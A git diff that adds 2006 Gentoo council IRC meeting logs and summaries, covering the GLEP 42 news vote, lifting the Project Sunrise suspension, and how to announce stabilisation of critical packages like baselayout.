+22:04:23 <+Ramereth> Koon: and it needs to be properly staffed by the *right* people
+22:04:24 <@seemant> Koon: +1 from me on that -- I'm not sure sunrise in its present form is the way :)
+22:04:31 <+Ramereth> seemant++
+22:04:33 <@Koon> Ramereth: I'm not sure it can be done
+22:04:38 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has joined #gentoo-council
+22:04:52 <+bonsaikitten> Ramereth, the "right" people - we're all devs, what makes some better than others?
+22:04:54 <+Ramereth> Koon: it can be, but people have to be open to different ideas
+22:05:01 <+Ramereth> bonsaikitten: experience and attitude
+22:05:15 <+Ramereth> and respectability
+22:05:28 <+bonsaikitten> but you should trust other devs not to screw up
+22:05:31 <+Ramereth> at least, that's how it used to work around here..
+22:05:38 <@seemant> bonsaikitten: is that coz you're part of both projects that you say that?
+22:05:45 <+Ramereth> bonsaikitten: we don't live in a utopian world
+22:05:54 <@seemant> bonsaikitten: I haven't seen motion on the userrel list about sunrise at all
+22:06:16 <@Koon> Ramereth: today it's more "I can bury you with my own bare email client" vocal minority rule
+22:06:26 <+Ramereth> Koon: yup :(
+22:06:32 <+Ramereth> anyways, back on track..
+22:06:44 <+bonsaikitten> seemant, most of the discussion happens in IRC, userrel is still changing a lot
+22:06:55 <@seemant> I'm in there too, still haven't seen anything..
+22:07:17 <@seemant> but anyway the point here is that project sunrise looks to be a good idea with a not-so-great implementation
+22:07:23 <@seemant> so er, plzfixkthxbye
+22:07:38 <+bonsaikitten> I agree that it was rushed, that was not optimal
+22:07:55 <@Koon> ok, we'll make that the official council position for now, then
+22:07:57 <+bonsaikitten> but it's schizophrenic to say that we lack manpower when we don't actively search for users
+22:08:02 <+Ramereth> that's where the whole experience part comes in patrick.
+22:08:08 <@Koon> solar/Swift/vapier: ?
+22:08:24 <@solar> Koon: one sec reading the scroll
+22:08:25 <@SwifT> still here
+22:08:36 <@seemant> bonsaikitten: I rather think we do actively search -- I'd love for you to see the recruiters bug list
+22:08:46 <@Koon> SwifT: you OK with seemant summary ?
+22:08:50 <@seemant> bonsaikitten: but gentoo isn't quite a free-for-all either
+22:09:00 <@seemant> there are (and rightly so) barriers to entry
+22:09:03 <+bonsaikitten> seemant, ok :-)
+22:09:13 <@Koon> seemant: there should be less barriers and more layers
+22:09:24 <@SwifT> Koon: yup
+22:09:27 <@solar> Koon: what are you saying is the offical council position for now?
+22:09:34 <@seemant> Koon: that is why I support the *intent* of sunrise as a training ground :)
+22:09:36 <+Ramereth> seemant: as tehre should be. I think one of Gentoo's major issues over the few years has been adding too many devs for too few of ebuilds to maintain
+22:09:41 <@Koon> <seemant> but anyway the point here is that project sunrise looks to be a good idea with a not-so-great implementation
+22:09:44 <@vapier> so i guess the end result is: sunrise is still suspended/closed in overlays until the details can be hashed out ?
+22:10:00 <@seemant> vapier: yes
+22:10:06 <@vapier> assuming the end result is the overlay implementation, and if it isnt, then it'll just be punted
+22:10:18 <@seemant> and I would like to add that I'd like to see chris and henrik (after his finals) have a hand in it as well
+22:10:27 <@Koon> vapier: with the risk that it shuts down without anything better emerging, yes
+22:10:36 <@seemant> wolf31o2|work: brix: that means you
+22:10:38 <+Ramereth> as long as it resides not on o.g.o and is shown as completely different than o.g.o, it would be better
+22:10:43 <+Stuart> all: do you need me to take further action, or are you happy with how I've suspended it for the moment?
+22:10:50 <@vapier> i'll sign on to that
+22:10:54 <+brix> seemant: not in Project Sunrise as it stands now, I'm afraid
+22:10:55 <@solar> Koon: I'm not sure it's a good idea at all. I would have to see version-2 to say where I stood
+22:10:57 <@seemant> Stuart: I'm fine with your actions so far :)
+22:11:06 <@seemant> brix: read what I wrote please
+22:11:13 <@seemant> brix: let's not talk in circles
+22:11:32 <+brix> seemant: I would scrap the idea completely and start over if I had anything to say
+22:11:38 <+Stuart> if the council ever lifts the suspension of sunrise, I'd prefer to see it on *.g.o
+22:11:45 <@Koon> brix: please do
+22:11:47 <@seemant> brix: then propose that and show your proposal
+22:12:08 <@seemant> brix: I haven't said you have limits to how you would design it, just that I would like you to have a hand in it
+22:12:13 <+brix> seemant: ok, then I misunderstood your first sentense
+22:12:21 <@seemant> brix: yes you did :P
+22:12:29 <+brix> seemant: fair enough
+22:12:45  * vapier poops on seemant 
+22:12:56 <@seemant> brix: but that's not an official council position just an official seemant position :)
+22:13:15 <+brix> seemant: gotcha
+22:13:29 <@seemant> so let's leave sunrise to be hashed on by brix, wolf31o2|work, userrel, and bugday
+22:13:35 <@Koon> when vapier poops, meeting is over
+22:13:54 <@Koon> anything left to discuss ? got to go soon
+22:14:16 <+jokey> seemant: so what can we do in the meantime then?
+22:14:29 <+Stuart> all: just want to say thanks for hearing this topic at such short notice
+22:14:34 <+Ramereth> work on a better plan that covers all the things said
+22:14:47 <@vapier> who has a log ?
+22:14:47 <@seemant> jokey: start the discussions with them, keep an open mind and come up with a good plan for this
+22:14:55 <@vapier> my xchat's buffer isnt long enough
+22:15:03 <@Koon> same here
+22:15:08 <+brix> I have a log
+22:15:09 <@seemant> jokey: like I say I approve of project sunrise's intentions (or at least a subset)
+22:15:15 <+jokey> I do as well
+22:15:22 -!- mode/#gentoo-council [-m] by Koon
+22:15:26 <@vapier> brix: going back to the start of the meeting ?
+22:15:27 <@seemant> jokey: so I want to see this succeed -- let's make it happen
+22:15:40 <+brix> vapier: yes
+22:15:40 < fox2mike> if neither of them do, I have a log.
+22:15:49 <@vapier> save & e-mail it to me then please
+22:15:53 < Peper> why don't you give a try now?
+22:15:57 -!- DrEeevil [n=pal@gentoo/developer/bonsaikitten] has joined #gentoo-council
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060720-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060720-summary.txt
new file mode 100644
index 00000000..b83e1c4e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060720-summary.txt
@@ -0,0 +1,5 @@
+- GELP 42
+Majority vote ok pending a usable portage based implementation
+
+- Sunrise Status
+Sunrise was taken out of suspension
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060720.txt b/xml/htdocs/proj/en/council/meeting-logs/20060720.txt
new file mode 100644
index 00000000..e92efab6
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060720.txt
@@ -0,0 +1,227 @@
+21:01 <@Koon> man it's hot
+21:01 <@Koon> 19:00 UTC
+21:01 < genstef> hi :)
+21:01 < genstef> so let us start
+21:02 <@vapier> who are you
+21:02 < genstef> nobody
+21:02 <@vapier> agriffis is at OSL but i dont know if he picked a proxy
+21:02 <@vapier> we going to do GLEP42 first ?  be a quickie
+21:03 <@Koon> seemant's missing
+21:04 <@Koon> In today's agenda :
+21:04 <@Koon> - GLEP 42
+21:04 <@Koon> - Sunrise project status
+21:04 <@Koon> anything else ?
+21:04 <@az> noting mailed to -council that i know of
+21:04 <@solar> that is the only thing on the plate that I'm aware of
+21:05 <+genstef> bugzilla being slow and we need a proxy or cache for when it is down - but jakobs request was not accepted afaik
+21:05 <@solar> ok so 42 http://www.gentoo.org/proj/en/glep/glep-0042.html
+21:05 <@Koon> vapier: you asked for portage guys to come to the meeting but...
+21:06 <@vapier> they all seem AFK
+21:06 <@vapier> maybe i need to send a heads up e-mail from now on the nite before
+21:07 <@vapier> ah one is alive after all
+21:07 <@vapier> /mode # +v zmedico
+21:07 <@vapier> aldksjfa stupid mirc
+21:07 <@Koon> you mean that, right
+21:07 <@az> is there anything anybody want to discuss about it ? that, glsa's and info logging have been on the needed list for a long time now
+21:07 <@vapier> zmedico: so we were doing GLEP 42
+21:08 <+zmedico> alrighty
+21:08 <@vapier> zmedico: from what i gather on the list from the portage members, it's all doable/done ?
+21:08 <@Koon> we really need a way to pass vital upgrade information to our users
+21:08 <@Koon> so I'll take whatever comes that achives that goal
+21:08 <+zmedico> vapier: yeah, it'd not all done, but it's certainly doable.
+21:09 <@vapier> so no real qualms with the latest version ?
+21:09 <+zmedico> seems good to me
+21:11 <@solar> most of it can already be accomplished via the post sync hooks easy enough.
+21:12 <@solar> the parts where before you merge a package I dont' see happening
+21:12 <@solar> as it dives deep into the resolver.
+21:13 <@solar> I also would rather see such data going to stderr only.
+21:14 <@solar> as portage/emerge in stable lacks the ability to share it's resolver data right now and many people make use of the --pretend options to parse emerge output. Sending news to stdout would break that
+21:14 <+zmedico> I missed the part about news prior to install.  I thought it was just post sync.
+21:14 <@Koon> Checks for new news messages should be displayed:
+21:14 <@Koon>     * After an emerge sync
+21:14 <@Koon>     * After an emerge --pretend
+21:14 <@Koon>     * Before an emerge <target> (which may also include a red warning message)
+21:15 <@solar> please read it carefully. sbp and ciaranm both use gleps as to smuggle in additional goals they have
+21:15 <@Koon> solar: is taht what you're talking about ?
+21:15 <@solar> like repo-ids
+21:15 <@solar> Koon: yes
+21:17 <@Koon> solar: what would be the problem of pre-emerge notfication of new messages ?
+21:17 <@Koon> no current hook for it ?
+21:18 <+zmedico> no current hook, but we can add it.
+21:19 <@az> cant that be put on hold or something ? or cant portage just after it did the order, just loop over them ?  Dont see why there really need to be a hook as such
+21:20 <@Koon> If I read the GLEp correctly, notification of new messages occur even if the packages are not those you are currently emerging (but are installed) ?
+21:21 <@Koon> meaning "emerge xchat" would warn about the existance of messages about MySQl migration
+21:22 <+zmedico> I don't think so.  all unread would be displayed at sync, and the pertinent ones would be displayed for install commands.
+21:23 <@Koon> That would be better, but that is not mandated in the GLEP
+21:23 <@Koon> or I missed it
+21:24 <+zmedico> you're right
+21:24 <+zmedico> I guess it just shows all unread new items
+21:24 <@Koon> yes, and in the same way "after an emerge sync" and "before an emerge package"
+21:24 <+zmedico> makes sense.  just mark them read and then you won't be bothered again.
+21:25 <@Koon> that simplifies it, no need to dive in the resolver
+21:25 <+zmedico> yeah, no need for emerge to feed a package list to the news scanner.
+21:25 <@Koon> the same is_there_news() routine is called in every case
+21:25  * zmedico nods
+21:26 <@Koon> solar: does that answer your concern ?
+21:27 <@Koon> am I splitted/alone ?
+21:27 <@solar> well. I dislike most of it. So I'll go ahead and say if we are voting I'd reject it
+21:28 <@Koon> what are your (main) issues against it ?
+21:28 <@solar> we are a bit shy and spb nor ciaranm are here so I don't think we should vote
+21:28 <+zmedico> well, if we and a hook for install commands, portage doesn't have to know anything about the news stuff.  it can just be hooked in.
+21:28 <+zmedico> s/and/add/
+21:28 <+zmedico> az: that's where hooks are useful
+21:28 <@Koon> solar: you're against the principle of sending upgrade info to the end user ? Or against the implementation details ?
+21:29 <@Koon> vapier/SwiFT/az: what so you think of it ?
+21:30 <@SwifT> I think the goal is noble and worth implementing
+21:30 <@SwifT> can't care less about spb/ciaranm
+21:30 <@az> well, the idea in itself is fine, if there is issues about implementation that others with more knowledge on portage disagrees with, i guess it should be seen to first
+21:30 <@solar> I don't care for the implementation details. I don't really want eselect forced upon me. the end goal is desireable yes
+21:30 <@SwifT> I also feel that there is enough support for it
+21:31 <@solar> existing portage provide the majority of whats needed todo most of this today
+21:31 <@SwifT> and in the end, if it doesn't work out, no sweat :)
+21:31 <@Koon> eselect is presented as a default/possible news reader
+21:31 <@Koon> not the only option
+21:31 <@vapier> eselect is an option
+21:31 <@Koon> also it's quite easy to ignore the whole system
+21:31 <@vapier> it's also going to happen regardless ... an outstanding issue is all the -config scripts we have
+21:32 <@vapier> that was the point of eselect
+21:32 <@SwifT> the rsync_exclude option? well, it might be more userfriendly to use a FEATURE, but that might be just my own feeling
+21:32 <@SwifT> and it's a detail
+21:32 <@Koon> FEATURE=ignore_news ?
+21:32 <@solar> excluding is easy enough.
+21:33 <@Koon> Should we vote ?
+21:33 <@SwifT> FEATURE="shownews" (I don't like negative entities)
+21:33 <@SwifT> :)
+21:34 <@solar> well from the looks of it portage/emerge would only display the number of unread items
+21:35 <@SwifT> also true
+21:35 <@Koon> it's more a change in development/pr methods than a technical one
+21:35 <@solar> not the news itself so as long as it's a 1 liner it should be ok. Again this can already be done via post sync actions.
+21:36 <@SwifT> disregard my comment then, those few lines don't make much difference as we do that for the config stuff already
+21:36 <@Koon> maintainers should change their habits and prepare news messages for their non-trivial upgrades
+21:37 <@Koon> where they used to rely only on postinstall messages in the past
+21:37 <@solar> maintainers will also have to go edit these news items for every pkg move
+21:38 <@vapier> are you posting a complaint or pointing out the obvious ? ;)
+21:38 <@Koon> it's too hot to think
+21:39 <@SwifT> messages need to be posted on -dev some time in advance; there should be sufficient support from devs and users to craft the message
+21:40 <@Koon> Ready to vote ?
+21:40 <@SwifT> aye here
+21:41 <@az> yeah
+21:41 <@vapier> +1
+21:42 <@Koon> I vote yes, this is long due
+21:43 <@az> +1
+21:43 <@az> that and the elog stuff should hopefully get the needed messages through once they are in use
+21:45 <@Koon> solar?
+21:45 <@vapier> SwifT ?
+21:46 <@SwifT> I said "aye here"
+21:46 <@az> could throw it back with yes if foo bar is resolved if there is issues, and for the eselect issue - just look at etc-config, dispatch-conf and now blubb's new thing
+21:47 <@Koon> That means 4 yes, probably adopted then
+21:48 <@Koon> Now the Sunrise status discussion
+21:48 <@solar> I'd rather not vote on it till a proof of concept exists for the portage ends of things. The way they are planning it seems somewhat ulgy with all the portageq calls. And as stated several times most of the functionality already exists
+21:48 <@vapier> eselect is a reference implementation
+21:48 <@vapier> not required
+21:48 <@solar> that is not for portage
+21:48 <@Koon> Thats a catch-22, there needs to be an OK on the GLEp before anything is developed
+21:48 <@solar> that is for that other pkg mgr.
+21:49 <@az> what i meant, its not like it will be locked down
+21:49 <@Koon> yes, we can still cut its balls if it bevomes nasty
+21:49 <@Koon> well, probably those who come after us
+21:50 <@az> solar: which one of the many otheres these days ? *grin*
+21:50 <@Koon> The Mythical 2007 Council
+21:50 <@solar> who is going to code it anyway? I'm not totally in favor of approving something then the work is dumped on others.
+21:50 <@Koon> we approve the idea of it
+21:51 <@Koon> solar: then you don't agree on the counil/glep thing
+21:51 <@Koon> council
+21:51 <@Koon> because "approving things and then hoping someone will do it" is what we do
+21:52 <@Koon> this GLEP having a particularity : it's not written by the ones that will have to do the work
+21:52 <@Koon> letting some room for the implementer to do it a little differently
+21:52 <@Koon> OK, only 10 minutes left, so let's consider it approved with 4 yes and go to sunrise discussion
+21:53 <@Koon> vapier: you voted yes, right
+21:53 <@solar> I'll vote yes on the basic idea. just not that implementation
+21:53 <+genstef> ok, we have worked with the mailing list on hashing the details out and improving the implementation
+21:54 <+genstef> but apparently interest has ceased since brix got the overlay closed down
+21:54 <@Koon> it should revivce when we open it back
+21:54 <@Koon> revive
+21:54 <@vapier> Koon: +1
+21:55 <+genstef> Koon: yeah, exactly what I am thinking
+21:56 <@Koon> Have all the reasonable objections been addressed ?
+21:56 <@Koon> because you'll never satisfy those who want it dead anyway
+21:56 <+genstef> I hope so. If you can point something more out to me I would love to hear it
+21:56 <@az> last bitching there have been, have stopped when vapier asked to point out the issues
+21:56 <@az> if i remember
+21:56 <@Koon> az: I didn't follow very closely but I remember that too
+21:57 <@Koon> Frankly I don't like too much when people wanting to kill other's innovations do not even stand by to point out reasonable objections
+21:57 <@vapier> so i know wolf and brix had issues, who were some of the other people originally ?  or do i need to flip through some threads again ?
+21:58 <+genstef> vapier: foser probably
+21:58 <+genstef> others had the general objection of unreviewed code which has been adressed by making that part read-only
+21:59 <@solar> genstef: in short.. the new sunrise will provide a place to host maintainer-wanted ebuilds which will be proxied by you and what ever team you put together? the repo itself will be anonymous.
+21:59 <+genstef> one repo for users to commit
+21:59 <@vapier> the team including many user contributions
+21:59 <@Koon> sounds like what some others do without giving it a fancy name
+22:00 <+genstef> one repo for developers to move the ebuilds to
+22:00 <+genstef> the user-commit thing is read only
+22:00 <@solar> so your goal is to open cvs +w up to the world?
+22:00 <@solar> cvs/svn/vcs..
+22:00 <@Koon> vss?
+22:01 <+genstef> solar: no
+22:01 <@solar> version control system. (what ever one is picked in the end.)
+22:01 <+genstef> solar: users get accounts on request
+22:01 <@SwifT> i like the sunrise/ vs reviewed/ qa :)
+22:01 <@Koon> I am all for opening Gentoo more to the community, so I support the idea
+22:01 <+genstef> SwifT: yeah exactly :)
+22:02 <+genstef> and sunrise cannot be checked out anonyous
+22:02 <@solar> what criteria will there be to have a user approved?
+22:02 <@Koon> quality of contrib I suppose
+22:02 <+genstef> solar: ebuild-quiz
+22:02 <+genstef> solar: users can only commit to sunrise/, only developers to reviewed/
+22:03 <@SwifT> solar: ebuilds by non-devs are still staged before they are available for public usage
+22:03 <@solar> who will be reviewing those? recruiters? other?
+22:03 <@Koon> call them wanabees rather than "users" or "world"
+22:03 <+genstef> solar: sunrise developers
+22:03 <+genstef> solar: people in the project
+22:03 <+genstef> solar: but there is not much advantage of taking the ebuild quiz
+22:04 <+genstef> just skipping the pre-commit review
+22:04 <+genstef> of course users are still users even with the quiz and do not get more permissions
+22:04 <@Koon> genstef: I think solar's concern is more about security, giving a +w access to somewhere into Gentoo's infra to someone less controlled
+22:05 <@Koon> not about end-user risk of using a bad ebuild contributed through the system
+22:05 <@solar> Koon: how can you tell :)
+22:05 <+genstef> well the write access is only for unreviewed stuff, so they can do no harm
+22:05 <@Koon> I read your mind, don't move too much
+22:05 <+genstef> like write access to bugzilla attachments
+22:05 <@SwifT> genstef: it's more about the security considerations than the contribution sensibility
+22:06 <@Koon> genstef: the "harm" is more a new attack vector on Gentoo(s infra that we must care for, than potential harm done to users
+22:07 <@Koon> but I say it's the price to pay for a dev community
+22:07 <@solar> genstef: for sunrise. I'd prefer that any cia hooks that you might put in place do not show up under the 'gentoo' name as it would skew real cia stats.. gentoo-sunrise other would be fine.
+22:08 <+genstef> solar: ok
+22:08  * solar has no objections and would encourage anon to be opened up
+22:08 <@Koon> OK. I vote for stopping the suspension of the Sunrise project
+22:08 <@solar> anon-read-only that is to all of it.
+22:08 <@Koon> as all reasonable objections have been addressed
+22:09 <+genstef> solar: it is http accessible, just not for checkout
+22:09 <@solar> right. http:// is useless and webdav is not allowed on infra servers.
+22:09 <@solar> so checking out would be somewhat of a pita. granted anon is what others object to.
+22:10 <@Koon> and kudos to the project Sunrise developers for having addressed those concerns so gracefully
+22:10 <@Koon> without falling into the traps that were set up for them to fall in
+22:10 <@SwifT> the sunrisefaq is a nice document to read
+22:10  * solar has to split for a few mins. 
+22:10 <@Koon> vapier? az?
+22:11 <@SwifT> i'm o
+22:11 <@SwifT> kay for it
+22:11 <@az> fine with me
+22:13 <@Koon> seemant was for the suspension and is not with us today
+22:14 <+genstef> he has sent no proxy either, has he maybe forgotten the meeting? Or does he not care? I have talked long with him after the last meeting
+22:15 <@az> might have forgotten or busy
+22:15 <@az> havent seen him today
+22:15 <@Koon> vapier?
+22:16 <@Koon> I'll have to let you all finish without me... so for the record I'm for stopping the suspension
+22:17 <@az> same here
+22:19 <@vapier> sorry, had phone call
+22:20 <@vapier> i'm for the project and i'm for hunting down the people who had outstanding concerns
+22:20 <@Koon> to kill them or ask them a few questions ?
+22:21 <@Koon> I'm pretty sure once the project is un-suspended they will show up
+22:21 <@SwifT> =)
+22:22 <@Koon> OK then
+22:22 <@Koon> I'll let you finish from here, see you all next month for our last meeting
+22:24 <@SwifT> I'm off as well now
+22:24 <@SwifT> laptop's too heated :)
+22:24 <+genstef> bye SwifT 
+22:26 <@solar> meeting over then.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060817-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060817-summary.txt
new file mode 100644
index 00000000..4a7a826f
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060817-summary.txt
@@ -0,0 +1,5 @@
+- Discussion of need to announce somewhere the stabilization of "critical"
+  packages (like baselayout).  Critical packages should be announced on
+  gentoo-dev (and gentoo-user) until GLEP 42 is put into place.  When
+  appropriate, an upgrade guide should be put together with the docs team.
+  In all cases, "critical" is determined by common sense.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060817.txt b/xml/htdocs/proj/en/council/meeting-logs/20060817.txt
new file mode 100644
index 00000000..feb0a7d9
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060817.txt
@@ -0,0 +1,300 @@
+18:30 -!- kloeri [n=kloeri@gentoo/developer/kloeri] has joined #gentoo-council
+18:30 -!- Irssi: #gentoo-council: Total of 17 nicks [4 ops, 0 halfops, 0 voices, 13 normal]
+18:30 -!- Irssi: Join to #gentoo-council was synced in 2 secs
+18:55 <@Koon> 18:55
+19:00 <@SwifT> ping!
+19:01 <@Koon> pong?
+19:01 <@SwifT> yes!
+19:01 <@SwifT> ping!
+19:01 <@Koon> No route to host !
+19:01 <@SwifT> okay then... tnsping!
+19:02 <@Koon> aw.
+19:02 <@Koon> It's time to start our last meeting
+19:02 <@Koon> seemant is on his way here
+19:03 <@Koon> solar: are you with us ?
+19:03 <@Koon> agriffis: same
+19:03 <@Koon> az is missing, no answer fro mvapier yet
+19:03 <@SwifT> we should all be absent so a reelection must occur ! :)
+19:03 <@Koon> about time, yes :)
+19:04 -!- seemant [n=trinity@gentoo/developer/seemant] has joined #gentoo-council
+19:04 -!- mode/#gentoo-council [+o seemant] by ChanServ
+19:04  * Koon looks around in the room to see if there are council candidates taking notes
+19:04  * SwifT watches left
+19:04 <@seemant> aha
+19:04  * SwifT watches right
+19:04 <@seemant> I was in here, but not here
+19:04  * agriffis is here
+19:04 <@seemant> irssi thought I was, but there was no activity or response
+19:04 <@seemant> so weird
+19:04 <@seemant> sorry about that, all
+19:05 <@SwifT> don't worry, always fun to see people zap in :)
+19:05 <@SwifT> okay, first point on the agenda... open floor
+19:05 <@SwifT> :)
+19:05 <@Koon> kudos to kloeri and spb then
+19:05 < kloeri> hi all :)
+19:05 <@seemant> hi bryan
+19:06 <@Koon> On the plate for today, the discussion Stuart asked for on how to better handle critical stableization steps
+19:07 <@Koon> My question to start : does GLEP42 answer to taht question (after all, it's the answer to all)
+19:07 <@SwifT> like the baselayout thingie?
+19:07 < kloeri> yeah, came up because of the baselayout stabling afaik
+19:07 <@Koon> SwifT: I think that's what started it, yes
+19:07 <@SwifT> well, I don't think GLEP42 is the answer.... but it is a major part of the answer
+19:07 <@Koon> SwifT: what's left ?
+19:08 <@SwifT> good communication of all participants prior to the news?
+19:08 <@Koon> because the pre-discussion of the GLEP42 Newsarticle on -dev serves as a dev warning
+19:08 <@SwifT> like, if baselayout stabilises, informing devs in advance or so
+19:08 <@SwifT> not blaming here, didn't follow it all
+19:09 <@SwifT> (just in case :)
+19:09 < kloeri> I think Stuart wants to go a bit further, like having upgrade guides and so on
+19:09 <@Koon> Ah. Documentation things. See SwiFT :)
+19:09  * Koon can't read.
+19:09 < kloeri> but we'd also need to decide on what 'critical packages' are if anything is to be done
+19:09 <@SwifT> i'm not active in it currently :p
+19:10 < kloeri> could define it as 'system' but that'd be a bit silly imo :)
+19:11 <@Koon> kloeri: so we would have a list of critical packages that need (1) advance warning (2) an upgrade guide and (3) a GLEP42-style news article (when available) ?
+19:11 < kloeri> yeah, I guess that's what Stuart wants
+19:11 <@Koon> if vapier was there, I'd say that common sense would do better than a rule here
+19:11  * agriffis doesn't like the sound of this, goes to read GLEP42
+19:11 <@Koon> he'd say
+19:12 < kloeri> yeah, I'm not sure I'd like to force upgrade guides etc. down the throat of some devs either
+19:13 < kloeri> GLEP42 + common sense should cover most of it imo
+19:13 <@agriffis> GLEP42 makes sense to me, i.e. a standard mechanism for distribution.
+19:13 <@Koon> + some spanking of non-observant devs
+19:13 < kloeri> agreed
+19:13 <@Koon> critical packages = baselayout, gcc, ...
+19:14 <@Koon> only for major versions
+19:14 <@agriffis> The requirement part, which doesn't seem to be part of GLEP42 anyway, bothers me because I don't like holding anything up for process.  I'd rather see things move forward without good process, rather than see things held up... of course, the best is when common sense is used and news and progress coincide :-)
+19:14 <@solar> shat. thanks seemant I was getting carried away building stuff
+19:14 <@Koon> solar: stop building :P
+19:15 <@seemant> yeah, I'm with Aron on this, I really don't like the idea of adding bureaucracy
+19:15 < kloeri> agriffis: completely agree on that - GLEP42 is a good vehicle to distribute news items but common sense is needed to decide when to use the news system
+19:15 <@seemant> (or rather, *even more* bureaucracy)
+19:16 <@solar> the world needs a new hardened-sources
+19:16 <@Koon> kloeri: also on the baselayout subjects, there were plenty of signs that it was going to stable... It's not like if they pushed it without talking to anyone
+19:16 < kloeri> Koon: right, I don't personally have a problem with baselayout going stable (as an arch lead I was asked in advance anyway)
+19:16 -!- bonsaikitten [n=pal@gentoo/developer/bonsaikitten] has joined #gentoo-council
+19:17 <@Koon> so I'd say if there had been GLEP42 in place there would have been a discussion around it and the need for a separate upgrade guide
+19:17 < kloeri> I haven't actually talked to Stuart about this but as he doesn't seem to be around I'm trying to guess what he wants
+19:17 <@seemant> now, I don't see anything wrong, per se, about having had an upgrade guide, or a "new sexy features" blurb somewhere about it
+19:17 < kloeri> seems we all agree that force / policy / whatever isn't the right solution
+19:17 <@Koon> so in essence my position on this is that GLEP42 goes a long way to solve this problem, and I'm reluctant to adding more rules where common sense usually suffices
+19:18 < Stuart> lo
+19:18 < Stuart> sorry, had to wait for an fsck
+19:18 < kloeri> Stuart: ahh, there you are :)
+19:18 <@Koon> Stuart: ah !
+19:18 <@solar> I already talked with UberLord.. There is no way on earth he diserves any flack for putting together a nice baselayout and waiting for as long as he did for other people to stop being slackers
+19:19 < Stuart> he's not getting any flack
+19:19 < Stuart> not from me, anyway
+19:19 < kloeri> I don't think it's about flack at all, more about avoiding similar problems in the future if possible
+19:19 <@Koon> Stuart: doesn't GLEP42 sufficiently answer your worries (when/if available) ?
+19:20 < Stuart> Koon: no, it doesn't
+19:20 <@Koon> Stuart: ok, please elaborate
+19:20 < Stuart> ok
+19:21 < Stuart> the issue I have is that we stabilised one of the most fundamental parts of Gentoo w/ no announcement, and no upgrade guide on www.g.o
+19:21 < Stuart> GLEP42 doesn't solve that, because a) there's nothing stopping folks making announcements today, even w/out GLEP42,
+19:21 < Stuart> and b) GLEP42 isn't an outlet for upgrade guides
+19:22 < Stuart> it's irresponsible
+19:22 < Stuart> I'm all for stabilising baselayout-1.12
+19:22 < Stuart> I'm just saying that doing so by stealth isn't good
+19:23 < Stuart> clearly, the "common sense" argument that folks love to fall back on isn't up to the job, or there'd have been an announcement and an upgrade guide
+19:23 <@Koon> Stuart: but in the newsarticle prediscussion on -dev, someone could mention the need for an upgrade guide
+19:23 <@solar> so what are you saying.. that every package in 'system' needs prior approval befoe going stable?
+19:23 <@Koon> I agree that the other problem remains
+19:24 < Stuart> solar: something that'll take out boxes, yes please
+19:24 <@solar> I've not seen any shitstorm of bugs related to it and I've updated quite a few. What major breakage was caused?
+19:25 <@Koon> solar: not only in system. The Apache new configuration style brought down quite a few web servers
+19:25 < Stuart> Koon: which is why we posted upgrade guides and plenty of announcements first :)
+19:25 < kloeri> Koon: the apache upgrade was announced quite heavily though
+19:25 <@solar> the only thing I'm aware of is a courier-imap initscript in relation to the new baselayout
+19:25 -!- dev-zero [n=BerryRyd@gw.ptr-80-238-206-183.customer.ch.netstream.com] has joined #gentoo-council
+19:25 < kloeri> Koon: just goes to show that no amount of announcements, guides etc. is going to save everybody in case of major changes :)
+19:25 <@Koon> yes, I didn't say that as an example of failure
+19:26 <@Koon> juust to prove that it's not just "system"
+19:26 < Stuart> solar: some folks had network breakages, and it was stabilised w/ a known problem w/ courier-imap.  the quality of the code isn't the issue here
+19:26 < Stuart> I'm not saying it wasn't ready to go stable
+19:26 <@Koon> to me GLEP42 is there to announce any changes that can bring down a service or a box
+19:26 -!- |jokey| [n=jokey@e176101132.adsl.alicedsl.de] has joined #gentoo-council
+19:27 < Stuart> Koon: GLEP42 is a red-herring in this discussion
+19:27 < Stuart> folks can already post announcements
+19:27 < Stuart> I'm more concerned with the fact that no-one did
+19:27 < kloeri> critical packages are hard to define imo as that set will differ from server to server, from person to person if we're to include stuff like apache etc.
+19:27 < Stuart> kloeri: I think we can agree that baselayout is a critical package :)
+19:28 <@Koon> Stuart: so you want a hard rule that critical changes should always be announced
+19:28 < kloeri> Stuart: sure but I'm not sure what else to include in that set
+19:28 < kloeri> Stuart: baselayout, toolchain, what else?
+19:28 <@Koon> because I see no way of enforcing it with our current QA system
+19:28 <@solar> Stuart: did you attempt to take this up with UberLord vs going directly to the council?
+19:28 < Stuart> solar: yes
+19:28 <@solar> what was his reaction?
+19:28 < genstef> kloeri: cups, X11
+19:29 <@solar> genstef: those dont prevent a system from booting.
+19:29 < Stuart> solar: he said that he was too busy to write one, and that folks could just read the new example file
+19:29 < genstef> solar: apache does not prevent that either
+19:29 < kloeri> solar: neither does gcc but it's probably critical to gentoo systems
+19:29 < Stuart> solar: that's not meant as a critisism of uberlord - I know he's worked hard this week to fix bugs as they've been reported
+19:30 <@agriffis> Stuart: the part that bothers me about this: emerge -upv system/world will show you that baselayout is making a relatively major version transition.  It's the administrator's responsibility to pay attention to that, in fact they should be paying close attention...  I'm not sure I agree this an issue with existing Gentoo practice.
+19:30 <@solar> genstef: and thus it's not valid
+19:30 < Stuart> agriffis: I agree, but 1.11 to 1.12 does not look like a major bump
+19:30 < kloeri> Stuart: that's a bit harsh imo - he said he was busy at work and couldn't immediately take care of any bugs / write any guides iirc
+19:30 <@agriffis> Stuart: ok, I agree with that
+19:30 <@solar> it's valid. But not vital as it wont prevent the admin from logging in and running etc-update and stuff.
+19:30 < Stuart> agriffis: and anyway, with no announcement and no upgrade guide, where can they go to read about the changes? :)
+19:31 < Stuart> kloeri: I did say I wasn't here to critise him
+19:31 <@Koon> solar: then nothing prevents you from booting anoter OS to fix the wreckage
+19:31 < Stuart> kloeri: tbh, I'm much more concerned that the arch teams thought this was acceptable :)
+19:31 <@agriffis> Stuart: I wish the versioning were more obvious.  It *is* true that etc-update or dispatch-conf will show a large delta in net.example, including a pretty exact demonstration of the changes.
+19:31 <@Koon> I'd say any non-trivial upgrades need to be announced
